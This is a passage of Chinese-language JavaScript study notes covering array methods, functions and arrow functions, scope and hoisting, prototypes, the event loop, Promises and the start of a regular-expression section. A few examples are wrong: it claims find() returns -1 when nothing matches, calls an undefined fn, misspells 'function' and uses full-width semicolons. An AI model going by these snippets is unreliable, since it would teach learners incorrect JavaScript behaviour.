1 0 [1, 2, 3]
2 1 [1, 2, 3]
3 2 [1, 2, 3]

// 第一个参数：item 当前元素
// 第二个参数：index 当前元素索引
// 第三个参数：array 数组本身

map()

方法返回一个由原数组中的每个元素调用一个指定方法后的返回值组成的新数组，不改变原数组

var arr = [1, 2, 3];
var res = arr.map((item, index, array) => {
    return item + 1;
})
console.log(res) // [2, 3, 4]  返回新数组
console.log(arr) // [1, 2, 3]  不改变原数组

// 第一个参数：item 当前元素，必须
// 第二个参数：index 当前元素索引，可选
// 第三个参数：array 数组本身，可选

p是普通价格，l是一个数组，里面有3个阶梯价格，如果有阶梯价格就不显示普通价格，显示阶梯价格最小的价格

p:20
l:[{price:10},{price:30},{price:20}]
getPrice(p, l) {
  if (l) {
    return Math.min.apply(null, l.map(x => parseFloat(x.price)))
  } else {
      return p
  }
}

filter()

过滤数组，并返回符合条件的所有元素组成新的数组，不改变原数组，filter() 不会对空数组进行检测

var arr = [1, 2, 3];
var res = arr.filter((item, index, array) => {
    console.log(item, index, array);
})

// 1 0 [1, 2, 3]
// 2 1 [1, 2, 3]
// 3 2 [1, 2, 3]

// 第一个参数：item 当前元素
// 第二个参数：index 当前元素索引
// 第三个参数：array 数组本身

filter() 不会对空数组进行检测

var arr = [];
var res = arr.filter(i => i);
res; // []
var arr = [1, 2, 3];
var res = arr.filter(item => item > 1);
res; // [2, 3]

删掉数组中的空字符串

var arr = ['a', 'b', ''];
var res = arr.filter(item => {
return item && item.trim(); // 注意：IE9以下的版本没有trim()方法，Number类型没有trim()方法
})
res; // ["a", "b"]

filter实现数组去重

var arr = ['a', 'b', 'b', 'c', 'b']
var res = arr.filter((item, index, array) => {
return array.indexOf(item) === index
})
console.log(res) // ["a", "b", "c"]

every()

方法是js中的迭代方法，用于检测数组中的所有元素是否满足指定条件

  • 依次执行数组元素，如果一个元素不满足条件就返回false，不会继续执行后面的元素判断；所有数组元素都满足条件则返回true
  • 不会改变原数组
var arr = [1, 2, 3, 4, 5, 6];

var a = arr.every(function( item, index, array) {
    console.log(item); // 打印1，不会打印2、3、4、5、6
    return item > 4;
})

a; // false
var arr = [1, 2, 3, 4, 5, 6];

var a = arr.every(function( item, index, array) {
    console.log(item); // 打印 1、2、3、4、5、6
    return item < 10;
})

a; // true

some()

方法是js中的迭代方法，用于检测数组中的某些元素是否满足指定条件

  • 依次执行数组元素，如果一个元素满足条件就返回true，不会继续执行后面的元素判断；没有满足条件则返回false
  • 不会改变原数组
var arr = [1, 2, 3, 4, 5, 6];

var a = arr.some(function( item, index, array){
    console.log(item); // 打印 1、2、3、4、5，不会打印6
    return item > 4;
}); 

console.log(a) // true

数组方法（ES6）

序号方法描述
1includes()判断数组是否包含该元素，返回Boolean值
2find()返回符合传入测试（函数）条件的数组元素，不改变原数组
3findIndex()返回符合传入测试（函数）条件的数组元素索引，不改变原数组
4for…of 循环entries()，keys() 和 values()

includes()

判断数组是否包含该元素，返回Boolean值

[1, 2, 3].includes(2); // true
[1, 2, 3].includes(4); // false
[1, 2, NaN].includes(NaN); // true

该方法的第二个参数：

  • 表示搜索的起始位置，默认为 0
  • 如果第二个参数为负数，则表示倒数的位置，如果这时它大于数组长度（比如第二个参数为 -4，但数组长度为 3 ），则会重置为从 0 开始。
[1, 2, 3].includes(3, 3); // false
[1, 2, 3].includes(3, -1); // true

find()

返回符合传入测试（函数）条件的数组元素，不改变原数组

[1, 2, 3, 4, 5].find(function(item){
   return item > 3;
}) // 4  可以看到只返回一个值
[1, 2, 3, 4, 5].find(function(item, index, arr) {
  return item > 9;
}) // -1  所有元素都不符合条件，则返回-1
var arr = [{ num: 1, name: '111'}, { num: 2, name: '222'}, { num: 3, name: '333'}];
var res = arr.find(i => i.num > 1);
res; // {num: 2, name: "222"}

findIndex()

返回符合传入测试（函数）条件的数组元素索引，不改变原数组

[1, 2, 3, 4, 5].findIndex(function(item) {
   return item > 3;
}) // 3  返回索引
[1, 2, 3, 4, 5].findIndex(function(item) {
   return item > 5;
}) // -1 所有元素都不符合条件，则返回-1

两个方法都可以发现NaN，弥补了数组的indexOf方法的不足。

[NaN].indexOf(NaN); // -1

[NaN].findIndex(i => Object.is(NaN, i)); // 0

用 for…of 循环进行遍历

keys() 是对键名的遍历

values()是对值的遍历

entries() 是对键值对的遍历

for (let index of [1, 2].keys()) {
 console.log(index);
}
// 0
// 1

for (let value of [1, 2].values()) {
 console.log(value);
}
// 1
// 2

for (let [index, value] of [1, 2].entries()) {
 console.log(index, value);
}
// 0 1
// 1 2

数组遍历（for in 和 for of）

for in 语句用于遍历数组或者对象

得到的是数组的元素索引，或者是对象的属性key

var obj = { a: 10, b: 20, c: 30 };
for(var i in obj) {
    console.log(i +' '+ obj[i]);
}

// a 10
// b 20
// c 30
var arr = [10, 20, 30];
for(var i in arr) {
    console.log(i +' '+ arr[i]);
}

// 0 10
// 1 20
// 2 30

for of 语句用于数组遍历，不能遍历对象

直接得到数组的值

var arr = [10, 20, 30];
for(var i of arr) {
    console.log(i);
}

// 10
// 20
// 30
var arr = [{a: 10}, {b: 20}, {c: 30}];
for(var i of arr) {
    console.log(i);
}

// {a: 10}
// {b: 20}
// {c: 30}

函数

简介

函数是被设计为执行特定任务的代码块

函数声明

也称函数定义、函数语句，由function关键字组成，包括

  • 函数的名称
  • 函数括号()，用于传参
  • 函数大括号{}
function add(a, b) { // 这里的a，b是形参，且该函数是命名函数 【函数声明】
return a + b;
}
add(1, 2); // 3 这里的1，2是实参  【函数调用】

特点：函数声明的时候，函数体并不会执行，只要当函数被调用的时候才会执行。

函数表达式

这样的函数其实是匿名函数(没有名称的函数)

存放在变量中的函数不需要函数名。他们总是使用变量名调用

let getSum = function(a, b) { // 这里的a，b是形参，且该函数是匿名函数
return a + b;
}
getSum(1, 2); // 3

当将函数作为参数传递给另一个函数时，函数表达式很方便

形参：函数在定义的时候小括号里的变量叫形参

实参：函数在调用的时候小括号里传入的值叫实参，实参可以是变量也可以是值

命名函数：函数如果有名字，就是命名函数

匿名函数：函数如果没有名字，就是匿名函数

函数表达式：把一个函数给一个变量，此时形成了函数表达式 ：var 变量 = 匿名函数

回调函数：函数可以作为参数使用，如果一个函数作为参数，那么我们说这个参数(函数)可以叫回调函数

函数调用

定义一个函数并不会自动的执行它

函数调用

var getSum = function(a, b) {
return a + b;
}
getSum(1, 2); // 3

函数表达式自调用

(function() {
console.log('hello')
})(); // hello

注意：无法对函数声明进行自调用

函数提升

对于函数来说，只有函数声明会被提升到顶部，而函数表达式不会被提升

函数声明会提升

fn(1, 2); // 3

function fn(a, b) {
return a + b;
}

函数表达式不会提升

fn(1, 2); // error: f is not a function

var fn = function(a, b) {
return a + b;
}

函数作为值

function fn(a, b) {
return a * b;
}

var x = fn(4, 3) * 2; // 24

函数是对象

typeof function fn() {}; // function

但是最好是把 JavaScript 函数描述为对象

函数作用域

在函数内定义的变量不能在函数之外的任何地方访问，因为变量仅仅在该函数的域的内部有定义

function fn() {
var a = 10;
console.log(a); // 10
}
fn();
console.log(a); // a is not defined

箭头函数（ES6）

箭头函数语法

总结：

箭头函数相当于匿名函数，所以需要变量接收

如果参数只有一个，不需要括号，参数没有或者多个则需要括号

如果代码块部分多于一条语句，需要大括号{}

如果需要返回一个对象，必须在对象外面加上括号

var f = () => 'hello'

// 等同于
var f = () => { return 'hello' }

// 等同于
var f = function() { return 'hello' }
// ES5
var f = function(a, b) { return a * b };

// ES6
var f = (a, b) => a * b;

当箭头函数只有一个参数时，可以省略括号，直接写参数名

var f = a => a;

当箭头函数没有参数或者多个参数是，不能省略括号

var f = () => 'hello';
var sum = (a, b) => a + b;

当箭头函数的代码块部分多于一条语句，就要使用 {} 将它们括起来，并且使用 return 语句返回

var sum = (a, b) => { 
  console.log('hello');
  return a + b; 
}
sum(1, 2);
// hello
// 3

由于大括号被解释为代码块，所以如果箭头函数直接返回一个对象，必须在对象外面加上括号，否则会报错

let getObj = id => ({ id: id, name: 'aaa' });

箭头函数示例

箭头函数可以与变量解构结合使用

const getName = ({ first, last }) => first + ' ' + last;

// 等同于
function getName(person) {
  return person.first + ' ' + person.last;
}

箭头函数使得表达更加简洁。

const iseven = n => n % 2 === 0
const square = n => n * n

箭头函数的一个用处是简化回调函数。

// 正常函数写法
[1, 2, 3].map(function(i) { 
    return i * i;
})

// 箭头函数写法
[1, 2, 3].map(i => i * i);

另一个例子是

// 正常函数写法
var res = arr.sort(function(a, b) {
  return a - b;
})

// 箭头函数写法
var res = arr.sort((a, b) => a - b);

下面是 rest 参数与箭头函数结合的例子

const f = (...a) => a;

f(1, 2, 3, 4, 5)
// [1, 2, 3, 4, 5]

const f = (a, ...b) => [a, b];

fn(1, 2, 3, 4, 5)
// [1, [2, 3, 4, 5]]

注意: 函数体内的 this 对象，就是定义时所在的对象，而不是使用时所在的对象

this 对象的指向是可变的，但是在箭头函数中，它是固定的

function foo() {
  setTimeout(() => {
    console.log('id:', this.id);
  }, 100);
}
let id = 21;
foo.call({ id: 42 });
// id: 42

上面代码中，setTimeout 的参数是一个箭头函数，这个箭头函数的定义生效是在 foo 函数生成时，而它的真正执行要等到 100 毫秒后。如果是普通函数，执行时 this 应该指向全局对象window，这时应该输出 21。但是，箭头函数导致 this 总是指向函数定义生效时所在的对象（本例是{ id: 42}），所以输出的是 42。

箭头函数特性

* 没有 this  super  arguments
* 不可以当作构造函数，也就不能通过 new 关键字调用
* 没有原型属性 prototype
* 不可以改变 this 指向
* 不支持重复的命名参数

注意：箭头函数和传统函数一样都有一个 name 属性，这一点是不变的

this指向的固定化，并不是因为箭头函数内部有绑定this的机制，实际原因是箭头函数根本没有自己的this，导致内部的this就是外层代码块的this。正是因为它没有this，所以也就不能用作构造函数

箭头函数没有this，只能从上下文获取this

箭头函数的this值，取决于函数外部非箭头函数的this值，如果上一层还是箭头函数，那就继续往上找，如果找不到那么this就是Window对象

var person = {
    f1: () => {
        console.log(this)
    },
    f2: function() {
        return () => { console.log(this) }
    }
}
person.f1();  // Window
person.f2()();  // person对象

箭头函数没有arguments对象

箭头函数也没有arguments对象，但是如果它外层还有一层非箭头函数的话，就会去找外层的非箭头函数的arguments对象，注意：箭头函数找arguments对象只会找外层非箭头函数的函数，如果外层是一个非箭头函数的函数如果它也没有arguments对象也会中断返回，就不会在往外层去找了，如下

var f1 = () => console.log(arguments);  // 执行该函数会抛出错误

function f2(a, b, c) {
    return () => {
        console.log(arguments); // [1, 2, 3]
    }
}
f2(1, 2, 3)();

可以清楚的看到当前的箭头函数没有arguments对象，然而就去它的外层去找非箭头函数的函数。``

function fn(a) {
    return function() {
        return () => {
            console.log(arguments); // []
        }
    }
}
fn(1)()();

上面示例中可以看到，里面的箭头函数往外层找非箭头函数的函数，然后不管外层这个函数有没有arguments对象都会返回。只要它是非箭头函数就可以，如果外层是箭头函数还会继续往外层找

var f = (...a) => console.log(a);
f(1, 2, 3); // [1, 2, 3]

箭头函数不能用new关键字声明

var Fn = () => {};
new Fn(); // 抛出错误，找不到constructor对象

箭头函数没有原型prototype

箭头函数没有原型，有可能面试官会问，JavaScript中所有的函数都有prototype属性吗

var fn = () => {};
fn.prototype; // undefined

箭头函数不能改变this指向

var person = {};
var fn = () => console.log(this);

fn.bind(person)(); // Window (不是person)
fn.call(person); // Window (不是person)
fn.apply(person); // Window (不是person)

箭头函数和普通函数的区别

* 相比普通函数, 箭头函数有更简洁的语法
* 箭头函数不绑定 this ，会捕获其所在的上下文的 this 值，作为自己的 this 值
* 箭头函数是匿名函数, 不能作为构造函数，不可以使用 new 命令，否则会抛出一个错误
* 箭头函数没有 arguments，取而代之用 rest参数...解决
* 箭头函数的 this 永远指向其上下文的 this ，任何方法都改变不了其指向，如 call()、bind()、apply() ，可以说正是因为没有自己的 this
* 箭头函数没有原型属性 prototype

回调函数

回调函数：一个函数被作为参数传递给另一个函数

1h93mq.png

回调函数的基本原理：使用命名函数或者匿名函数作为回调

第一种方法：就是匿名函数作为回调（使用了参数位置定义的匿名函数作为回调函数）

第二种方式：就是命名函数作为回调（定义一个命名函数并将函数名作为变量传递给函数

传递参数给回调函数）


在执行之前确保回调函数是一个函数

function fn(a, callback){
    // 确保callback是一个函数   
    if(typeof callback === 'function') {
        // 调用它，既然我们已经确定了它是可调用的
        callback(a);
    }
}

函数可以作为另一个函数的参数

var say = function() {
  console.log('hello');
}
function fn(a) {
  a();
}
fn(say); // hello

函数可以作为另一个函数的返回值

function ex(a) {
  var b = 3;
  return function() {
    console.log(a + b);
  }
}
var fn = ex(2); //此时返回的是一个函数
fn(); // 5

递归函数

调用自身的函数我们称之为递归函数

在某种意义上说，递归近似于循环。两者都重复执行相同的代码，并且两者都需要一个终止条件（避免无限循环或者无限递归

一个函数可以指向并调用自身。有三种方法可以达到这个目的

  1. 函数名
  2. arguments.callee
  3. 作用域下的一个指向该函数的变量名
function loop(x) {
if (x >= 10) {
console.log(x)
return;
}
loop(x + 1); // 递归调用
}
loop(0); // 10

嵌套函数

可以在一个函数里面嵌套另外一个函数。嵌套（内部）函数对其容器（外部）函数是私有的。它自身也形成了一个闭包。一个闭包是一个可以自己拥有独立的环境与变量的表达式（通常是函数）

既然嵌套函数是一个闭包，就意味着一个嵌套函数可以”继承“容器函数的参数和变量。换句话说，内部函数包含外部函数的作用域。

可以总结如下：

  • 内部函数只可以在外部函数中访问。
  • 内部函数形成了一个闭包：它可以访问外部函数的参数和变量，但是外部函数却不能使用它的参数和变量。
function addSquares(a, b) {
  function square(x) {
    return x * x;
  }
  return square(a) + square(b);
}
a = addSquares(2, 3); // 13

由于内部函数形成了闭包，因此你可以调用外部函数并为外部函数和内部函数指定参数

function outside(x) {
  function inside(y) {
    return x + y;
  }
  return inside;
}

a = outside(3)(5); // 8

return语句

return语句终止函数的执行，并返回一个指定的值给函数调用者

function add(a, b) {
    return a + b;
}
var sum = add(1, 2);
sum; // 3

如果省略retrun，则返回undefined

下面的 return 语句都会终止函数的执行

return;
return true;
return false;
return x;
return x + y / 3;

自动插入分号（ASI） 规则会影响 return 语句。在 return 关键字和被返回的表达式之间不允许使用行终止符。

return
a + b;

根据 ASI，被转换为

return;
a + b;

控制台会警告“unreachable code after return statement”

主要作用

1.中断一个函数的执行

2.返回一个函数，关于闭包

function magic(x) {
return function calc(x) { return x * 10 }
}

var answer = magic();
answer(10); // 100

arguments 对象

JavaScript 函数有一个名为 arguments 对象的内置对象

arguments 对象包含函数调用时使用的参数数组

function fn(a, b) {
    console.log(arguments);
    console.log(arguments[0]);
}
fn(1, 2);
// Arguments(2) [1, 2, callee: ƒ, Symbol(Symbol.iterator): ƒ]
// 1

重点概念

面向对象：提出需求，找对象，对象解决，注重的是结果

js不是一门面向对象的语言，是基于对象的语言，js来模拟面向对象
面向对象的特性：封装、继承、多态(抽象性)

1、封装：就是包装，把一些重用的内容进行包装，在需要的时候，直接使用
2、继承：类与类之间的关系，js中没有类的概念，js中有构造函数的概念，是可以有继承的，是基于原型
3、多态：同一个行为，针对不同的对象，产生了不同的效果

预解析

预解析：就是在浏览器解析代码之前，把变量的声明和函数的声明提前(提升)到该作用域的最上面

变量的预解析

console.log(a); // undefined
var a = 10;

相当于

var a;
console.log(a); // undefined
a = 10;
问：什么情况下的结果是 undefined ?
答：
1. 变量声明了，没有赋值，结果是 undefined
2. 函数没有明确返回值，如果接收了，结果也是 undefined
3. 使用不存在的对象属性的返回值是 undefined
4. 通过不存在的数组索引访问数组元素结果是 undefined

1、变量声明了，没有赋值，结果是 undefined

var a；
console.log(a)； // undefined
// 和函数声明一样，变量的声明也会在一开始就被放入内存中了，但是并没有赋值，所以在它赋值之前，它的值就是undefined

2、函数没有明确返回值，如果接收了，结果也是 undefined

function fn() {};
var a = fn();
a; // undefined

3、使用不存在的对象属性的返回值是 undefined

var obj = {
  name: 'hello'
}
obj.age; // undefined

4、通过不存在的数组索引访问数组元素结果是 undefined

var arr = [3, 6, 9];
arr[3]; // undefined

函数的预解析

命名函数可以预解析

fn(); // hello [说明js肯定是在调用函数之前就将函数放入内存中了]
function fn() {
  console.log('hello');
}

匿名函数（函数表达式）不可以预解析

f();
var f = function() {
  console.log('hello');
}
// Uncaught TypeError: f is not a function

变量和函数重名

console.log(a); // ƒ a(){console.log('hello')}
var a = 10;
function a() {
  console.log('hello');
}

这个就说明了，重名时，函数名优先级高于变量名

将变量和函数的声明提升到当前作用域的最上边(不包括赋值和调用)
当变量和函数名称相同时，优先函数

作用域和作用域链

作用域

变量的作用域无非就是两种：全局变量和局部变量，指变量的使用范围

全局作用域

最外层函数定义的变量拥有全局作用域，即对任何内部函数来说，都是可以访问的

var a = 10;
function fn() {
  return a;
}
fn(); // 10

局部作用域

函数中定义的变量是局部变量

函数内部的变量只能在函数内部使用，不能在函数外部使用

function fn() {
  var a = 10;
}
fn();
console.log(a); // Uncaught ReferenceError: a is not defined报错

注意：函数内部声明变量的时候，一定要使用var命令，如果不用的话，你实际上声明了一个全局变量！

function fn() {
  a = 10;
}
fn();
console.log(a); // 10

再来看一个代码：

var a = 10;
function fn() {
  console.log(a); // undefined
  var a = 20;
  console.log(a); // 20
}
fn();

相当于，可参考预解析

var a = 10;
function fn() {
  var a; // 提前声明了局部变量
  console.log(a); // undefined
  a = 20;
  console.log(a); // 20
}
fn();

只要函数内定义了一个局部变量，函数在解析的时候都会将这个变量提前声明

全局作用域下带var和不带var的区别

console.log(a); // undefined
var a = 10;
console.log(a); // Uncaught ReferenceError: a is not defined
a = 10;

a = 10 相当于给window增加了一个a的属性名，属性值是10
var a = 10 相当于给全局作用域增加了一个全局变量a，但是不仅如此，它也相当于给window增加了一个属性名a，属性值是10

JS中没有块级作用域：一对括号{ }中定义的变量，这个变量可以在大括号外面使用

while(true) {
  var a = 10;
  break;
}
console.log(a); // 10
{
  var a = 100
}
console.log(a); // 100   大括号里面声明的变量外部可以使用

作用域链

作用域链：变量的使用，从里向外，层层的搜索，搜索到了就可以直接使用了

层层搜索，搜索到0级作用域的时候，如果还是没有找到这个变量，结果就是报错

var a = 10;
function f1() {
  var a = 20;
  function f2() {
    var a = 30;
    console.log(a);
  }
  f2();
}
f1(); // 30
var a = 10; // 作用域链 级别:0
var b = 20;
function f1() {
  var b = 20;
  function f2() {
    var c = 30;
    console.log(a);
  }
  f2();
}
f1(); // 10

原型（链）

原型

每个对象都会在其内部初始化一个属性，就是prototype(原型)，当我们访问一个对象的属性时

如果这个对象内部不存在这个属性，那么他就会去prototype里找这个属性，这个prototype又会有自己的prototype，于是就这样一直找下去，也就是我们平时所说的原型链的概念

函数的原型prototype

​ 每个函数默认有一个prototype属性（指针），其值指向一个对象，这个对象就是我们所说的原型（原型对象）。原型内有一个constructor属性指向构造函数本身

实例对象的原型 __ proto __

​ 每个实例对象都有一个内置属性 __ proto __ ，指向创建这个实例的构造函数的prototype原型对象。每一个实例对象都能从该原型中 “继承” 属性和方法。所以构造函数的原型被其创建的每一个实例对象共享，因此也是每个实例对象的原型

function Person() {}
var p = new Person();
p.__proto__ === Person.prototype; // true

1、实例对象的__proto__和构造函数中的prototype全等

2、因为实例对象是通过构造函数来创建的，构造函数中有原型对象prototype

3、实例对象的__proto__指向了构造函数的原型对象prototype

总结三者之间关系：

1、构造函数可以实例化对象
2、构造函数中有一个属性叫(prototype)，是构造函数的原型对象
3、构造函数的原型对象(prototype)中有一个constructor构造器，这个构造器指向的就是自己所在的原型对象所在的构造函数
4、实例对象的原型对象(__proto__)指向的是该构造函数的原型对象(prototype)
5、构造函数的原型对象(prototype)中的方法是可以被实例对象直接访问的

原型链

​ 每个对象都有一个原型 __ proto __ ，这个原型对象还可以有他自己的原型 __ proto __ （该原型对象也是由构造函数创建，该构造函数也有prototype属性）。以此类推，形成一个实例与原型的 __ proto __ 链条，即原型链

​ 查找属性时，先在当前对象找，如果没有则去它的原型对象里找，在没有的话就去原型对象的原型对象里找，这个操作被委托在整个原型链上，链的最终端是null

原型链继承

可以让子类型构造函数的原型prototype等于父类型构造函数的实例对象，这样，子类型函数的实例对象就添加到了原型链上，可以访问父类型的实例对象及其链.上所有的属性和方法，即实现了继承。

js通过原型链实现函数或对象的继承

原型的指向可以改变
实例对象的原型__proto__指向的是该对象所在的构造函数的原型对象prototype
构造函数的原型对象(prototype)指向如果改变了，实例对象的原型(__proto__)指向也会发生改变
实例对象和原型对象之间的关系是通过__proto__原型来联系起来的，这个关系就是原型链
最终指向：
实例对象的__proto__------->Person.prototype的__proto__---->Object.prototype的__proto__是null

继承是一种关系，类(class)与类之间的关系，JS中没有类，但是可以通过构造函数模拟类，然后通过原型来实现继承
继承也是为了数据共享，js中的继承也是为了实现数据共享

// 人类的构造函数
function Person(name, age) {
this.name = name
this.age = age
}
// 人类的原型的方法
Person.prototype.say = function() {
console.log('hello')
}

// 中国人的构造函数，中国人有身份证号
function Chinese(id) {
this.id = id
}
Chinese.prototype = new Person('李三', 20)
Chinese.prototype.sayChinese = function() {
console.log('我会说中文')
}

// 美国人的构造函数，美国人没有有身份证号
function American(sex) {
this.sex = sex
}
American.prototype = new Person('Jack', 18)
American.prototype.sayAmerican = function() {
console.log('我会说英文')
};
var a = new American('男')
console.log(a.name, a.age, a.sex) // Jack 18 男
a.say() // hello
a.sayAmerican() // 我会说英文

原型作用

数据共享、节省内存空间，实现继承

function Person(name, age) {
  this.name = name;
  this.age = age;
  this.say = function() {
    console.log('hello');
  }
}
p1 = new Person();
p2 = new Person();
p1.say(); // hello
p2.say(); // hello
p1.say == p2.say; // false

for(let i = 0; i < 100; i++) {
  var p = new Person('Jack', 20);
  p.say();
} // 会消耗大量内存

通过原型来添加方法，解决数据共享，节省内存空间

function Person(name,age) {
  this.name = name;
  this.age = age;
}

Person.prototype.say = function() {
  console.log('hello');
}

var p1 = new Person();
var p2 = new Person();
p1.__proto__.say(); // hello
p2.__proto__.say(); // hello
console.log(p1.__proto__.say === p2.__proto__.say) // true
console.log(p1.__proto__ == Person.prototype) // true
console.log(p2.__proto__ == Person.prototype) // true

JS循环机制

Javascript是一门非阻塞单线程脚本语言

1.为何单线程？

一次只能干一件事，比如银行排队

2.为何非阻塞？

因为单线程意味着任务需要排队，任务按顺序执行，如果一个任务很耗时，下一个任务不得不等待。所以为了避免这种阻塞，我们需要一种非阻塞机制。

如上图， 简单就是，有个人正在办业务，发现忘了拿身份证，不可能一直等她回家拿身份证来，太耗时了。理想情况是她可以回家拿身份证，但这段时间应该办理下一个人的业务

3.macro task与micro task

在实际情况中，一直在银行排队的叫同步任务。忘了拿身份证的叫异步任务。异步任务分为两种：微任务（micro task)和宏任务（macro

task)

理解方式：忘了拿身份证的有好几个人，有的人离家近，有的人离家远。近的就叫微任务（micro task)，远的就叫宏任务（macro task)

微任务micro task事件：Promises(浏览器实现的原生Promise)、MutationObserver、process.nextTick

宏任务macro task事件：setTimeout、setInterval、setImmediate、I/O、UI rendering

microtask和macotask执行规则：

同步异步

javascript实现异步的原理

​ 首先js是单线程的语言，即同一时间只能做做一件事。那js如何实现异步的，异步和单线程不是自相矛盾吗？其实，单线程和异步确实不能同时成为一个语言的特性。js选择了成为单线程的语言，所以它本身不可能是异步的，但js的宿主环境（比如浏览器，Node）是多线程的，宿主环境通过某种方式（事件驱动）使得js具备了异步的属性

​ 浏览器的内核是多线程的，它们在内核制控下相互配合以保持同步，一个浏览器至少实现三个常驻线程：javascript引擎线程，UI渲染线程，浏览器事件触发线程

概念

描述例如
同步发送一个请求，等待返回，然后再发送下一个请求
异步发送一个请求，不等待返回，随时可以再发送下一个请求网络请求、读取文件

区别

同步和异步最大的区别就在于：一个需要等待，一个不需要等待。
广播，就是一个异步例子，发起者不关心接收者的状态，不需要等待接收者的返回信息
电话，就是一个同步例子，发起者需要等待接收者，接通电话后，通信才开始，需要等待接收者的返回信息

处理异步的方式

一、回调函数（callback）

回调（callback）是指一个函数被作为参数传递到另一个函数里，在那个函数执行完后再执行。（ B函数被作为参数传递到A函数里，在A函数执行完后再执行B ）
假定有两个函数f1和f2，f2等待f1的执行结果，f1()–>f2()；如果f1很耗时，可以改写f1，把f2写成f1的回调函数

function f2() {
    console.log('hello')
}
function f1(callback){
　　setTimeout(function () {
　　　　callback()
　　}, 1000);
}
f1(f2)  // 1秒后输出 hello

​ 采用回调的方式，把同步操作变成了异步操作，f1不会堵塞程序运行，相当于先执行程序的主要逻辑，将耗时的操作推迟执行

​ 回调函数是异步编程最基本的方法，其优点是简单、容易理解和部署，缺点是不利于代码的阅读和维护，各个部分之间高度耦合，流程会很混乱，而且每个任务只能指定一个回调函数

注意区分 回调函数和异步，回调是实现异步的一种手段，并不一定就是异步，回调也可以是同步

function A(callback) {
    console.log('I am A')
    callback()  //调用该函数
}
function B() {
   console.log('I am B')
}
A(B)
// I am A
// I am B

二、事件监听

采用事件驱动模式，任务的执行不取决代码的顺序，而取决于某一个事件是否发生

function f1(){
    setTimeout(function(){
       window.alert('123')
    },5000);
}
f1() // 5秒后输出 123

优点：易理解，可绑定多个事件，每一个事件可指定多个回调函数，可以去耦合，有利于实现模块化
缺点：整个程序都要变成事件驱动型，运行流程会变得不清晰

三、Promise对象

Promise 是异步编程的一种解决方案

new Promise( function(resolve, reject) {...})

​ Promise 是一个构造函数，所以可以通过new Promise()得到一个实例对象，Promise 实例对象代表一个异步操作

​ 每当new一个Promise实例的时候，就会立即执行这个异步操作中代码，也就是说，new的时候，除了能够得到一个promise实例之外，还会立即调用我们为Promise构造函数传递的那个function，执行这个function中的异步操作代码

Promise 对象存在以下三种状态描述
pending初始状态
fulfilled成功状态
rejected失败状态

Promise 对象的初始状态是 pending，最终状态是 fulfilled 或者 rejected，其中 fulfilled 表示成功状态，rejected 表示失败状态。状态只能够由 pending 变成 fulfilled 或 rejected，当 Promise 对象的状态改变后就不可以再改变了

既然Promise创建的实例对象，是一个异步操作，那么异步操作的结果，只能有两种状态：

​ 状态1：异步执行成功，需要在内部调用成功的回调函数resolve把结果返回给调用者

​ 状态2：异步操作失败，需要在内部调用失败的回调函数reject 把结果返回给调用者

由于Promise的实例是一个异步操作，所以内部拿到的操作结果后，无法return把操作的结果返回给调用者，这时候只能使用回调函数的形式，来把成功或失败的结果，返回给调用者

const p = new Promise(function(resolve, reject) {
    setTimeout(function() {
        resolve('hello')
    }, 5000)
})
p.then(function(data) {
    console.log(data)
})
// 5秒后输出 hello

在Promise构造函数的Prototype属性上，有一个.then方法，也就是只要是Promise构造函数创建的实例对象，都可以访问到.then方法，在new出来的Promise实例下，调用.then方法，预先为这个Promise异步操作，指定成功(resolve)和失败(reject)回调函数

function getFileByPath(path) {
    return new Promise(function(resolve, reject) {
        fs.readFile(path, 'utf-8', (error, data) => {
            if(error) return reject(error)
            resolve(data)
        })
    })
}

// .then先执行
getFileByPath('./files/02.txt').then(
function(data) {
    console.log(data)
}, 
funtion(error) {
    console.log(error) 
})

解决回调地狱

getFileByPath('./files/01.txt')
.then(function(data) {
    console.log(data)
    return getFileByPath('./files/02 .txt')
})
.then(function(data2) {
    console.log(data2)
    return getFileByPath('./files/03 .txt')
})
.then(function(data3) {
    console.log(data3)
})

如果前面的Promise执行失败，我们不想让后续的Promise被终止，可以为每个Promise指定失败回调

getFileByPath('./files/01.txt')
.then(function(data) {
    console.log(data)
    return getFileByPath('./files/02 .txt')
}, function(error) {
    console.log(error)
    return getFileByPath('./files/02 .txt')
})
.then(function(data2) {
    console.log(data2)
})

有时候，我们有这样的需求，如果后续Promise执行，依赖于前面Promise执行的结果，如果前面失败了， 则后面的就没有执行下去的意义了，此时我们想要实现，一旦报错，则立即终止所有Promise的执行

getFileByPath('./files/01.txt')
.then(function(data) {
    console.log(data)
    return getFileByPath('./files/02 .txt')
})
.then(function(data2) {
    console.log(data2)
    return getFileByPath('./files/03 .txt')
})
.then(function(data3) {
    console.log(data3)
})
.catch(function(error) {
    console.log(error)
})
// 如果前面有任何的promise执行失败，会立即终止所有promise，并马上进入catch去处理promise中抛出的异常
const someAsyncThing = function(flag) {
return new Promise(function(resolve, reject) {
if(flag){
resolve('ok');
}else{
reject('error')
}
});
};

someAsyncThing(true).then((data)=> {
console.log('data:',data); // 输出 'ok'
}).catch((error)=>{
console.log('error:', error); // 不执行
})

someAsyncThing(false).then((data)=> {
console.log('data:',data); // 不执行
}).catch((error)=>{
console.log('error:', error); // 输出 'error'
})

上面代码中，someAsyncThing 函数成功返回 ‘OK’, 失败返回 ‘error’, 只有失败时才会被 catch 捕捉到。

let promise = new Promise(function(resolve, reject) {
  console.log(1);
  resolve();
  console.log(2)
});

promise.then(function() {
  console.log(3);
});

console.log(4);

1 2 4 3

上面代码中，Promise 新建后立即执行，所以首先输出的是1和2。然后，then方法指定的回调函数，将在当前脚本所有同步任务执行完才会执行，所以resolved最后输出

正则表达式

概念

正则表达式：也叫规则表达式，按照一定的规则组成的一个表达式，这个表达式的作用主要是匹配字符串的

原书这么一句话，特别棒：正则表达式是匹配模式，要么匹配字符，要么匹配位置，要记住！

​ 正则表达式是用于匹配字符串中字符组合的模式。在 JavaScript中，正则表达式也是对象。这些模式被用于 RegExp 的 exec 和 test 方法, 以及 String 的 match、matchAll、replace、search 和 split 方法。

元字符

字符说明示例
.除了\n以外的任意的一个字符
[]范围[0-9] 表示：0到9之间的任意的一个数字
[a-z] 表示：所有的小写的字母中的任意的一个
[0-9a-zA-Z] 表示：所有的数字或者是字母中的一个
|或者[0-9]|[a-z]: 要么是一个数字，要么是一个小写字母
()分组、提升优先级[0-9] | ([a-z]) | [A-Z]
([0-9])([1-5])([a-z]) 三组, 从最左边开始计算
*前面的表达式出现了0次到多次[a-z] [0-9]* 小写字母中的任意一个 后面是要么是没有数字的,要么是多个数字的
+前面的表达式出现了1次到多次[a-z] [9]+ 小写字母一个后面最少一个9,或者多个9
